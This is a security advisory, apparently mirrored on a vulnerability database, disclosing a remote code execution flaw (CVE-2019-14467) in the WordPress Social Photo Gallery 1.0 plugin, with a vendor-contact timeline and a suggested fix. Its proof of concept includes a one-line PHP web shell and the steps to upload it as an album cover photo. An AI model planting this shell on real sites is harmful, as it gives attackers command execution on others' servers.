Lucene search
K

WordPress Social Photo Gallery 1.0 Remote Code Execution Vulnerability

🗓️ 17 Nov 2019 00:00:00Reported by Prestigia SeguridadType 
zdt
 zdt
🔗 0day.today👁 72 Views

WordPress Social Photo Gallery 1.0 Remote Code Execution Vulnerability, allowing remote code execution by uploading a malicious PHP file for cover phot

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2019-14467
23 Feb 202415:11
circl
CNVD
WordPress Social Photo Gallery Remote Code Execution Vulnerability
18 Nov 201900:00
cnvd
Check Point Advisories
WordPress Social Photo Gallery Plugin Remote Code Execution (CVE-2019-14467)
18 Nov 202000:00
checkpoint_advisories
CVE
CVE-2019-14467
18 Nov 201915:21
cve
Cvelist
CVE-2019-14467
18 Nov 201915:21
cvelist
EUVD
EUVD-2019-5653
7 Oct 202500:30
euvd
NVD
CVE-2019-14467
18 Nov 201916:15
nvd
OSV
CVE-2019-14467
18 Nov 201916:15
osv
Packet Storm
WordPress Social Photo Gallery 1.0 Remote Code Execution
15 Nov 201900:00
packetstorm
Patchstack
WordPress Social Photo Gallery plugin <= 1.0 - Remote Code Execution (RCE) vulnerability
15 Nov 201900:00
patchstack
Rows per page
=============================================
- Discovered by: Prestigia Seguridad
- Severity: 7,5/10 (CVSS Base Score)
- CVE-ID: CVE-2019-14467
=============================================

I. VULNERABILITY
-------------------------
WordPress Plugin Social Photo Gallery 1.0 - Remote Code Execution

II. BACKGROUND
-------------------------
Social Gallery is the ultimate lightbox plugin for WordPress. Your images 
deserve to be experienced and shared, to spark a response as they travel 
the social web, and to work for you by generating more fans and more Likes 
for your content.

III. DESCRIPTION
-------------------------
The version of WordPress Plugin Social Photo Gallery is affected by a 
Remote Code Execution vulnerability.

The application does not check the extension when a imagen of a album is 
uploaded, resulting in a execution of php code.

To exploit the vulnerability only is needed create a album in the 
application and attach a malicious php file in the cover photo album.

IV. PROOF OF CONCEPT
-------------------------

1. Create a .php archive (cmd.php):

<?php system($_GET['cmd']); ?>

2. Click Add Album, select the name, for example "demo" and in the "Cover 
Photo" select the cmd.php file.

3. Load the next URL and magic:

http://127.0.0.1/wordpress/wp-content/uploads/socialphotogallery/demo/cmd.php?cmd=ls

V. BUSINESS IMPACT
-------------------------
Execute local commands in the server result from these attacks.

VI. SYSTEMS AFFECTED
-------------------------
WordPress Plugin Social Photo Gallery 1.0

VII. SOLUTION
-------------------------
The solution is only allow upload Digital Image Files: TIFF, JPEG, GIF, PNG

VIII. REFERENCES
-------------------------
https://wordpress.org/plugins/social-photo-gallery/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported by Prestigia Seguridad
Email: [email protected]

X. REVISION HISTORY
-------------------------
July 31, 2019 1: Initial release
November 13, 2019 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
July 31, 2019 1: Vulnerability acquired by Prestigia Seguridad
July 31, 2019 2: Email to vendor without response
August 15, 2019 3: Second email to vendor without response
November 13, 2019 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no 
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Prestigia Seguridad
https://seguridad.prestigia.es/

#  0day.today [2019-12-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation